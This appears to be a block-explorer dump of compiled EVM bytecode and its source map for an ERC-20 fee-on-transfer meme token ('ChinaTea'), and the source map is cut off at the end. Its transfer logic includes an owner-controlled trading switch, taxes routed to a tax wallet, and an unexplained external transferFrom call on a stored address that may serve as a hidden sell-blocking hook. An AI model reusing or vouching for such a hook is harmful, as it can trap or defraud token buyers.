0x60806040526004361061013f575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb1461037f578063ad29ffde1461039e578063bf474bed146103bd578063dd62ed3e146103d2578063e3412e3d14610416578063ec1f3f6314610435575f80fd5b8063751039fc146102e15780637d1db4a5146102f55780638a8c523c1461030a5780638da5cb5b1461031e5780638f9a55c01461033a57806395d89b411461034f575f80fd5b806323b872dd1161010457806323b872dd14610214578063313ce5671461023357806349bd5a5e1461024e57806351bc3c851461028557806370a0823114610299578063715018a6146102cd575f80fd5b806306b501971461014a57806306fdde031461016b578063095ea7b3146101ae5780630faee56f146101dd57806318160ddd14610200575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b506101696101643660046116ed565b610454565b005b348015610176575f80fd5b50604080518082019091526009815268725c56f2cddef4465b60b91b60208201525b6040516101a59190611704565b60405180910390f35b3480156101b9575f80fd5b506101cd6101c8366004611776565b61048f565b60405190151581526020016101a5565b3480156101e8575f80fd5b506101f260125481565b6040519081526020016101a5565b34801561020b575f80fd5b506101f26104a5565b34801561021f575f80fd5b506101cd61022e3660046117a0565b6104c5565b34801561023e575f80fd5b50604051601281526020016101a5565b348015610259575f80fd5b5060145461026d906001600160a01b031681565b6040516001600160a01b0390911681526020016101a5565b348015610290575f80fd5b5061016961052c565b3480156102a4575f80fd5b506101f26102b33660046117de565b6001600160a01b03165f9081526001602052604090205490565b3480156102d8575f80fd5b50610169610579565b3480156102ec575f80fd5b506101696105f3565b348015610300575f80fd5b506101f2600f5481565b348015610315575f80fd5b506101696106a4565b348015610329575f80fd5b505f546001600160a01b031661026d565b348015610345575f80fd5b506101f260105481565b34801561035a575f80fd5b506040805180820190915260088152674368696e6154656160c01b6020820152610198565b34801561038a575f80fd5b506101cd610399366004611776565b610744565b3480156103a9575f80fd5b506101696103b8366004611825565b610750565b3480156103c8575f80fd5b506101f260115481565b3480156103dd575f80fd5b506101f26103ec3660046118f7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610421575f80fd5b506101696104303660046117de565b6107e2565b348015610440575f80fd5b5061016961044f3660046116ed565b610b48565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561048b573d5f803e3d5ffd5b5050565b5f61049b338484610b8d565b5060015b92915050565b5f6104b26012600a611a22565b6104c090633b9aca00611a30565b905090565b5f6104d1848484610cb0565b610522843361051d85604051806060016040528060288152602001611bbe602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112f3565b610b8d565b5060019392505050565b6005546001600160a01b0316336001600160a01b03161461054b575f80fd5b305f908152600160205260409020548015610569576105698161132b565b47801561048b5761048b81610454565b5f546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a290611a47565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461061c5760405162461bcd60e51b81526004016105a290611a47565b6106286012600a611a22565b61063690633b9aca00611a30565b600f556106456012600a611a22565b61065390633b9aca00611a30565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106836012600a611a22565b61069190633b9aca00611a30565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106cd5760405162461bcd60e51b81526004016105a290611a47565b601554600160a01b900460ff16156107275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a2565b6015805462ff00ff60a01b19166201000160a01b17905543600655565b5f61049b338484610cb0565b5f546001600160a01b031633146107795760405162461bcd60e51b81526004016105a290611a47565b5f5b82518110156107dd578160035f85848151811061079a5761079a611a7c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806107d581611a90565b91505061077b565b505050565b5f546001600160a01b0316331461080b5760405162461bcd60e51b81526004016105a290611a47565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108549030906108466012600a611a22565b61051d90633b9aca00611a30565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c89190611aa8565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610927573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094b9190611aa8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610995573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b99190611aa8565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a00816001600160a01b03165f9081526001602052604090205490565b5f80610a135f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a79573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a9e9190611ac3565b5050601580546001600160a01b0319166001600160a01b03848116918217909255601454610ad29350909116905f19610b8d565b60145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b24573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061048b9190611aee565b6005546001600160a01b0316336001600160a01b031614610b67575f80fd5b6009548111158015610b7b5750600a548111155b610b83575f80fd5b6009819055600a55565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a2565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a2565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a2565b5f8111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a2565b5f80546001600160a01b03858116911614801590610e0257505f546001600160a01b03848116911614155b156111b657601554600160a01b900460ff16610e9a576001600160a01b0384165f9081526003602052604090205460ff1680610e5557506001600160a01b0383165f9081526003602052604090205460ff165b610e9a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105a2565b610ec66064610ec0600b54600e5411610eb557600754610eb9565b6009545b859061149b565b90611520565b6014549091506001600160a01b038581169116148015610ef457506013546001600160a01b03848116911614155b8015610f1857506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffe57600f54821115610f6f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a2565b60105482610f91856001600160a01b03165f9081526001602052604090205490565b610f9b9190611b09565b1115610fe95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a2565b600e8054905f610ff883611a90565b91905055505b6014546001600160a01b0384811691161480159061103457506001600160a01b0383165f9081526003602052604090205460ff16155b156110b3576010548261105b856001600160a01b03165f9081526001602052604090205490565b6110659190611b09565b11156110b35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a2565b6014546001600160a01b0384811691161480156110d957506001600160a01b0384163014155b15611106576111036064610ec0600c54600e54116110f957600854610eb9565b600a54859061149b565b90505b305f9081526001602052604090205461111f8585611561565b1580156111365750601554600160a81b900460ff16155b801561114f57506014546001600160a01b038581169116145b80156111645750601554600160b01b900460ff165b8015611171575060115481115b80156111805750600d54600e54115b156111b4576111a261119d846111988460125461160e565b61160e565b61132b565b4780156111b2576111b247610454565b505b505b801561122e57305f908152600160205260409020546111d59082611622565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112259085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112509083611680565b6001600160a01b0385165f908152600160205260409020556112936112758383611680565b6001600160a01b0385165f9081526001602052604090205490611622565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112dc8585611680565b60405190815260200160405180910390a350505050565b5f81848411156113165760405162461bcd60e51b81526004016105a29190611704565b505f6113228486611b1c565b95945050505050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137157611371611a7c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ec9190611aa8565b816001815181106113ff576113ff611a7c565b6001600160a01b0392831660209182029290920101526013546114259130911684610b8d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061145d9085905f90869030904290600401611b2f565b5f604051808303815f87803b158015611474575f80fd5b505af1158015611486573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f825f036114aa57505f61049f565b5f6114b58385611a30565b9050826114c28583611b9e565b146115195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a2565b9392505050565b5f61151983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c1565b6015545f9081906001600160a01b0316158015906115f557506015546040516323b872dd60e01b81526001600160a01b03868116600483015285811660248301525f6044830152909116906323b872dd906064016020604051808303815f875af11580156115d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f59190611aee565b1561160457600191505061049f565b50503b1515919050565b5f81831161161c5782611519565b50919050565b5f8061162e8385611b09565b9050838110156115195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a2565b5f61151983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f3565b5f81836116e15760405162461bcd60e51b81526004016105a29190611704565b505f6113228486611b9e565b5f602082840312156116fd575f80fd5b5035919050565b5f6020808352835180828501525f5b8181101561172f57858101830151858201604001528201611713565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611763575f80fd5b50565b80356117718161174f565b919050565b5f8060408385031215611787575f80fd5b82356117928161174f565b946020939093013593505050565b5f805f606084860312156117b2575f80fd5b83356117bd8161174f565b925060208401356117cd8161174f565b929592945050506040919091013590565b5f602082840312156117ee575f80fd5b81356115198161174f565b634e487b7160e01b5f52604160045260245ffd5b8015158114611763575f80fd5b80356117718161180d565b5f8060408385031215611836575f80fd5b823567ffffffffffffffff8082111561184d575f80fd5b818501915085601f830112611860575f80fd5b8135602082821115611874576118746117f9565b8160051b604051601f19603f83011681018181108682111715611899576118996117f9565b6040529283528183019350848101820192898411156118b6575f80fd5b948201945b838610156118db576118cc86611766565b855294820194938201936118bb565b96506118ea905087820161181a565b9450505050509250929050565b5f8060408385031215611908575f80fd5b82356119138161174f565b915060208301356119238161174f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561197c57815f19048211156119625761196261192e565b8085161561196f57918102915b93841c9390800290611947565b509250929050565b5f826119925750600161049f565b8161199e57505f61049f565b81600181146119b457600281146119be576119da565b600191505061049f565b60ff8411156119cf576119cf61192e565b50506001821b61049f565b5060208310610133831016604e8410600b84101617156119fd575081810a61049f565b611a078383611942565b805f1904821115611a1a57611a1a61192e565b029392505050565b5f61151960ff841683611984565b808202811582820484141761049f5761049f61192e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611aa157611aa161192e565b5060010190565b5f60208284031215611ab8575f80fd5b81516115198161174f565b5f805f60608486031215611ad5575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611afe575f80fd5b81516115198161180d565b8082018082111561049f5761049f61192e565b8181038181111561049f5761049f61192e565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611b7d5784516001600160a01b031683529383019391830191600101611b58565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bb857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032583a1b0f0266bec8b8c1de96fd2081498472e0d95e1929e31fdb47057de61464736f6c63430008140033

Deployed Bytecode Sourcemap

3649:8658:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10693:100;;;;;;;;;;-1:-1:-1;10693:100:0;;;;;:::i;:::-;;:::i;:::-;;5475:83;;;;;;;;;;-1:-1:-1;5545:5:0;;;;;;;;;;;;-1:-1:-1;;;5545:5:0;;;;5475:83;;;;;;;:::i;:::-;;;;;;;;6308:161;;;;;;;;;;-1:-1:-1;6308:161:0;;;;;:::i;:::-;;:::i;:::-;;;1512:14:1;;1505:22;1487:41;;1475:2;1460:18;6308:161:0;1347:187:1;4734:42:0;;;;;;;;;;;;;;;;;;;1685:25:1;;;1673:2;1658:18;4734:42:0;1539:177:1;5752:95:0;;;;;;;;;;;;;:::i;6477:313::-;;;;;;;;;;-1:-1:-1;6477:313:0;;;;;:::i;:::-;;:::i;5661:83::-;;;;;;;;;;-1:-1:-1;5661:83:0;;4378:2;2324:36:1;;2312:2;2297:18;5661:83:0;2182:184:1;4834:28:0;;;;;;;;;;-1:-1:-1;4834:28:0;;;;-1:-1:-1;;;;;4834:28:0;;;;;;-1:-1:-1;;;;;2535:32:1;;;2517:51;;2505:2;2490:18;4834:28:0;2371:203:1;11956:348:0;;;;;;;;;;;;;:::i;5855:119::-;;;;;;;;;;-1:-1:-1;5855:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5948:18:0;5921:7;5948:18;;;:9;:18;;;;;;;5855:119;2730:148;;;;;;;;;;;;;:::i;10526:159::-;;;;;;;;;;;;;:::i;4567:49::-;;;;;;;;;;;;;;;;11475:204;;;;;;;;;;;;;:::i;2516:79::-;;;;;;;;;;-1:-1:-1;2554:7:0;2581:6;-1:-1:-1;;;;;2581:6:0;2516:79;;4623:49;;;;;;;;;;;;;;;;5566:87;;;;;;;;;;-1:-1:-1;5638:7:0;;;;;;;;;;;;-1:-1:-1;;;5638:7:0;;;;5566:87;;5982:167;;;;;;;;;;-1:-1:-1;5982:167:0;;;;;:::i;:::-;;:::i;9705:216::-;;;;;;;;;;-1:-1:-1;9705:216:0;;;;;:::i;:::-;;:::i;4679:48::-;;;;;;;;;;;;;;;;6157:143;;;;;;;;;;-1:-1:-1;6157:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6265:18:0;;;6238:7;6265:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6157:143;10801:666;;;;;;;;;;-1:-1:-1;10801:666:0;;;;;:::i;:::-;;:::i;11693:218::-;;;;;;;;;;-1:-1:-1;11693:218:0;;;;;:::i;:::-;;:::i;10693:100::-;10757:10;;10749:36;;-1:-1:-1;;;;;10757:10:0;;;;10749:36;;;;;10778:6;;10757:10;10749:36;10757:10;10749:36;10778:6;10757:10;10749:36;;;;;;;;;;;;;;;;;;;;;10693:100;:::o;6308:161::-;6383:4;6400:39;351:10;6423:7;6432:6;6400:8;:39::i;:::-;-1:-1:-1;6457:4:0;6308:161;;;;;:::o;5752:95::-;5805:7;4432:13;4378:2;4432;:13;:::i;:::-;4422:23;;:7;:23;:::i;:::-;5825:14;;5752:95;:::o;6477:313::-;6575:4;6592:36;6602:6;6610:9;6621:6;6592:9;:36::i;:::-;6639:121;6648:6;351:10;6670:89;6708:6;6670:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6670:19:0;;;;;;:11;:19;;;;;;;;351:10;6670:33;;;;;;;;;;:37;:89::i;:::-;6639:8;:121::i;:::-;-1:-1:-1;6778:4:0;6477:313;;;;;:::o;11956:348::-;12020:10;;-1:-1:-1;;;;;12020:10:0;351;-1:-1:-1;;;;;12006:24:0;;11998:33;;;;;;12081:4;12042:20;5948:18;;;:9;:18;;;;;;12101:14;;12098:73;;12129:30;12146:12;12129:16;:30::i;:::-;12200:21;12235:12;;12232:65;;12261:24;12274:10;12261:12;:24::i;2730:148::-;2643:6;;-1:-1:-1;;;;;2643:6:0;351:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;;;;;;;;;2837:1:::1;2821:6:::0;;2800:40:::1;::::0;-1:-1:-1;;;;;2821:6:0;;::::1;::::0;2800:40:::1;::::0;2837:1;;2800:40:::1;2868:1;2851:19:::0;;-1:-1:-1;;;;;;2851:19:0::1;::::0;;2730:148::o;10526:159::-;2643:6;;-1:-1:-1;;;;;2643:6:0;351:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;4432:13:::1;4378:2;4432;:13;:::i;:::-;4422:23;::::0;:7:::1;:23;:::i;:::-;10579:12;:22:::0;4432:13:::1;4378:2;4432;:13;:::i;:::-;4422:23;::::0;:7:::1;:23;:::i;:::-;10612:14;:22:::0;10650:27:::1;4432:13;4378:2;4432;:13;:::i;:::-;4422:23;::::0;:7:::1;:23;:::i;:::-;10650:27;::::0;1685:25:1;;;1673:2;1658:18;10650:27:0::1;;;;;;;10526:159::o:0;11475:204::-;2643:6;;-1:-1:-1;;;;;2643:6:0;351:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;11539:11:::1;::::0;-1:-1:-1;;;11539:11:0;::::1;;;11538:12;11530:47;;;::::0;-1:-1:-1;;;11530:47:0;;7059:2:1;11530:47:0::1;::::0;::::1;7041:21:1::0;7098:2;7078:18;;;7071:30;7137:25;7117:18;;;7110:53;7180:18;;11530:47:0::1;6857:347:1::0;11530:47:0::1;11588:11;:18:::0;;-1:-1:-1;;;;11617:18:0;-1:-1:-1;;;11617:18:0;;;11659:12:::1;11646:10;:25:::0;11475:204::o;5982:167::-;6060:4;6077:42;351:10;6101:9;6112:6;6077:9;:42::i;9705:216::-;2643:6;;-1:-1:-1;;;;;2643:6:0;351:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;9805:6:::1;9800:114;9822:8;:15;9818:1;:19;9800:114;;;9894:8;9860:18;:31;9879:8;9888:1;9879:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9860:31:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9860:31:0;:42;;-1:-1:-1;;9860:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9839:4;::::1;::::0;::::1;:::i;:::-;;;;9800:114;;;;9705:216:::0;;:::o;10801:666::-;2643:6;;-1:-1:-1;;;;;2643:6:0;351:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;10869:15:::1;:80:::0;;-1:-1:-1;;;;;;10869:80:0::1;10906:42;10869:80:::0;;::::1;::::0;;;10960:58:::1;::::0;10977:4:::1;::::0;4432:13:::1;4378:2;4432;:13;:::i;:::-;4422:23;::::0;:7:::1;:23;:::i;10960:58::-;11063:15;;;;;;;;;-1:-1:-1::0;;;;;11063:15:0::1;-1:-1:-1::0;;;;;11063:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11045:55:0::1;;11109:4;11116:15;;;;;;;;;-1:-1:-1::0;;;;;11116:15:0::1;-1:-1:-1::0;;;;;11116:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11045:94;::::0;-1:-1:-1;;;;;;11045:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7967:15:1;;;11045:94:0::1;::::0;::::1;7949:34:1::0;8019:15;;7999:18;;;7992:43;7884:18;;11045:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11029:13;:110:::0;;-1:-1:-1;;;;;11029:110:0;;::::1;-1:-1:-1::0;;;;;;11029:110:0;;::::1;;::::0;;11150:15:::1;::::0;::::1;:31;11189:21;11220:4;11226:24;11220:4:::0;-1:-1:-1;;;;;5948:18:0;5921:7;5948:18;;;:9;:18;;;;;;;5855:119;11226:24:::1;11251:1;11253::::0;11255:7:::1;2554::::0;2581:6;-1:-1:-1;;;;;2581:6:0;;2516:79;11255:7:::1;11150:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11150:129:0;;;-1:-1:-1;;;;;8405:15:1;;;11150:129:0::1;::::0;::::1;8387:34:1::0;8437:18;;;8430:34;;;;8480:18;;;8473:34;;;;8523:18;;;8516:34;8587:15;;;8566:19;;;8559:44;11263:15:0::1;8619:19:1::0;;;8612:35;8321:19;;11150:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11290:13:0::1;:22:::0;;-1:-1:-1;;;;;;11290:22:0::1;-1:-1:-1::0;;;;;11290:22:0;;::::1;::::0;;::::1;::::0;;;11332:13:::1;::::0;11323:54:::1;::::0;-1:-1:-1;11332:13:0;;::::1;::::0;-1:-1:-1;;11323:8:0::1;:54::i;:::-;11395:13;::::0;11426:15:::1;::::0;11388:71:::1;::::0;-1:-1:-1;;;11388:71:0;;-1:-1:-1;;;;;11426:15:0;;::::1;11388:71;::::0;::::1;9143:51:1::0;-1:-1:-1;;9210:18:1;;;9203:34;11395:13:0;::::1;::::0;11388:29:::1;::::0;9116:18:1;;11388:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;11693:218::-:0;11768:10;;-1:-1:-1;;;;;11768:10:0;351;-1:-1:-1;;;;;11754:24:0;;11746:33;;;;;;11805:12;;11796:7;:21;;:47;;;;;11830:13;;11821:7;:22;;11796:47;11788:56;;;;;;11853:12;:20;;;11882:13;:21;11693:218::o;6798:335::-;-1:-1:-1;;;;;6891:19:0;;6883:68;;;;-1:-1:-1;;;6883:68:0;;9700:2:1;6883:68:0;;;9682:21:1;9739:2;9719:18;;;9712:30;9778:34;9758:18;;;9751:62;-1:-1:-1;;;9829:18:1;;;9822:34;9873:19;;6883:68:0;9498:400:1;6883:68:0;-1:-1:-1;;;;;6970:21:0;;6962:68;;;;-1:-1:-1;;;6962:68:0;;10105:2:1;6962:68:0;;;10087:21:1;10144:2;10124:18;;;10117:30;10183:34;10163:18;;;10156:62;-1:-1:-1;;;10234:18:1;;;10227:32;10276:19;;6962:68:0;9903:398:1;6962:68:0;-1:-1:-1;;;;;7041:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7093:32;;1685:25:1;;;7093:32:0;;1658:18:1;7093:32:0;;;;;;;6798:335;;;:::o;7141:2248::-;-1:-1:-1;;;;;7229:18:0;;7221:68;;;;-1:-1:-1;;;7221:68:0;;10508:2:1;7221:68:0;;;10490:21:1;10547:2;10527:18;;;10520:30;10586:34;10566:18;;;10559:62;-1:-1:-1;;;10637:18:1;;;10630:35;10682:19;;7221:68:0;10306:401:1;7221:68:0;-1:-1:-1;;;;;7308:16:0;;7300:64;;;;-1:-1:-1;;;7300:64:0;;10914:2:1;7300:64:0;;;10896:21:1;10953:2;10933:18;;;10926:30;10992:34;10972:18;;;10965:62;-1:-1:-1;;;11043:18:1;;;11036:33;11086:19;;7300:64:0;10712:399:1;7300:64:0;7392:1;7383:6;:10;7375:64;;;;-1:-1:-1;;;7375:64:0;;11318:2:1;7375:64:0;;;11300:21:1;11357:2;11337:18;;;11330:30;11396:34;11376:18;;;11369:62;-1:-1:-1;;;11447:18:1;;;11440:39;11496:19;;7375:64:0;11116:405:1;7375:64:0;7450:17;2581:6;;-1:-1:-1;;;;;7484:15:0;;;2581:6;;7484:15;;;;:32;;-1:-1:-1;2554:7:0;2581:6;-1:-1:-1;;;;;7503:13:0;;;2581:6;;7503:13;;7484:32;7480:1553;;;7537:11;;-1:-1:-1;;;7537:11:0;;;;7533:136;;-1:-1:-1;;;;;7576:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;7604:22:0;;;;;;:18;:22;;;;;;;;7576:50;7568:85;;;;-1:-1:-1;;;7568:85:0;;11728:2:1;7568:85:0;;;11710:21:1;11767:2;11747:18;;;11740:30;-1:-1:-1;;;11786:18:1;;;11779:52;11848:18;;7568:85:0;11526:346:1;7568:85:0;7709:76;7781:3;7709:67;7731:15;;7721:9;;:25;7720:55;;7761:14;;7720:55;;;7748:12;;7720:55;7709:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7814:13;;7697:88;;-1:-1:-1;;;;;;7806:21:0;;;7814:13;;7806:21;:55;;;;-1:-1:-1;7845:15:0;;-1:-1:-1;;;;;7831:30:0;;;7845:15;;7831:30;;7806:55;:83;;;;-1:-1:-1;;;;;;7867:22:0;;;;;;:18;:22;;;;;;;;7865:24;7806:83;7802:315;;;7929:12;;7919:6;:22;;7911:60;;;;-1:-1:-1;;;7911:60:0;;12079:2:1;7911:60:0;;;12061:21:1;12118:2;12098:18;;;12091:30;12157:27;12137:18;;;12130:55;12202:18;;7911:60:0;11877:349:1;7911:60:0;8024:14;;8014:6;7998:13;8008:2;-1:-1:-1;;;;;5948:18:0;5921:7;5948:18;;;:9;:18;;;;;;;5855:119;7998:13;:22;;;;:::i;:::-;:40;;7990:79;;;;-1:-1:-1;;;7990:79:0;;12563:2:1;7990:79:0;;;12545:21:1;12602:2;12582:18;;;12575:30;12641:28;12621:18;;;12614:56;12687:18;;7990:79:0;12361:350:1;7990:79:0;8090:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7802:315;8143:13;;-1:-1:-1;;;;;8137:19:0;;;8143:13;;8137:19;;;;:47;;-1:-1:-1;;;;;;8162:22:0;;;;;;:18;:22;;;;;;;;8160:24;8137:47;8133:167;;;8239:14;;8229:6;8213:13;8223:2;-1:-1:-1;;;;;5948:18:0;5921:7;5948:18;;;:9;:18;;;;;;;5855:119;8213:13;:22;;;;:::i;:::-;:40;;8205:79;;;;-1:-1:-1;;;8205:79:0;;12563:2:1;8205:79:0;;;12545:21:1;12602:2;12582:18;;;12575:30;12641:28;12621:18;;;12614:56;12687:18;;8205:79:0;12361:350:1;8205:79:0;8325:13;;-1:-1:-1;;;;;8319:19:0;;;8325:13;;8319:19;:43;;;;-1:-1:-1;;;;;;8342:20:0;;8357:4;8342:20;;8319:43;8316:174;;;8395:79;8470:3;8395:70;8417:16;;8407:9;;:26;8406:58;;8449:15;;8406:58;;;8435:13;;8395:6;;:10;:70::i;:79::-;8383:91;;8316:174;8555:4;8506:28;5948:18;;;:9;:18;;;;;;8581:20;8592:4;8598:2;8581:10;:20::i;:::-;8580:21;:32;;;;-1:-1:-1;8606:6:0;;-1:-1:-1;;;8606:6:0;;;;8605:7;8580:32;:57;;;;-1:-1:-1;8624:13:0;;-1:-1:-1;;;;;8616:21:0;;;8624:13;;8616:21;8580:57;:72;;;;-1:-1:-1;8641:11:0;;-1:-1:-1;;;8641:11:0;;;;8580:72;:114;;;;;8677:17;;8656:20;:38;8580:114;:146;;;;;8708:18;;8698:9;;:28;8580:146;8576:446;;;8747:67;8764:49;8768:6;8775:37;8779:20;8800:11;;8775:3;:37::i;:::-;8764:3;:49::i;:::-;8747:16;:67::i;:::-;8862:21;8905:22;;8902:105;;8952:35;8965:21;8952:12;:35::i;:::-;8728:294;8576:446;7518:1515;7480:1553;9048:11;;9045:161;;9116:4;9098:24;;;;:9;:24;;;;;;:39;;9127:9;9098:28;:39::i;:::-;9091:4;9073:24;;;;:9;:24;;;;;;;:64;;;;9155:39;;-1:-1:-1;;;;;9155:39:0;;;;;;;9184:9;1685:25:1;;1673:2;1658:18;;1539:177;9155:39:0;;;;;;;;9045:161;-1:-1:-1;;;;;9232:15:0;;;;;;:9;:15;;;;;;:27;;9252:6;9232:19;:27::i;:::-;-1:-1:-1;;;;;9216:15:0;;;;;;:9;:15;;;;;:43;9284:40;9302:21;:6;9313:9;9302:10;:21::i;:::-;-1:-1:-1;;;;;9284:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9270:13:0;;;;;;;:9;:13;;;;;:54;;;;9340:41;;;9359:21;:6;9370:9;9359:10;:21::i;:::-;9340:41;;1685:25:1;;;1673:2;1658:18;9340:41:0;;;;;;;7210:2179;7141:2248;;;:::o;1408:190::-;1494:7;1530:12;1522:6;;;;1514:29;;;;-1:-1:-1;;;1514:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1554:9:0;1566:5;1570:1;1566;:5;:::i;:::-;1554:17;1408:190;-1:-1:-1;;;;;1408:190:0:o;9929:483::-